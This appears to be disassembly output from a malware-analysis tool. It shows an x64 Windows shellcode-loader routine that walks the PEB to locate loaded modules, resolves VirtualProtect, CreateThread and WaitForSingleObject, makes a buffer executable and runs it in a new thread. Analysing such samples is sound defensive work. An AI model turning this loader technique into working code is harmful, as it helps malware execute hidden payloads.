cmp word [rcx + 0x18], r13w
je 0x1400013ce
nop word [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x1400013c0
mov rdi, qword [rax + 0x10]
mov rcx, rdi
call section..text
lea rdx, str.VirtualProtect
mov rcx, rdi
mov rbx, rax
call rbx
lea rdx, str.CreateThread
mov rcx, rdi
mov rsi, rax
call rbx
lea rdx, str.WaitForSingleObject
mov rcx, rdi
mov r12, rax
call rbx
mov rbx, qword [rbp - 1]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 7]
mov rcx, rbx
mov rdi, rax
call rsi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
mov rcx, rax
or edx, 0xffffffff
call rdi
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1400014b0
add rsp, 0x88
pop r13
pop rbp
ret

Function at 0x140001480
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret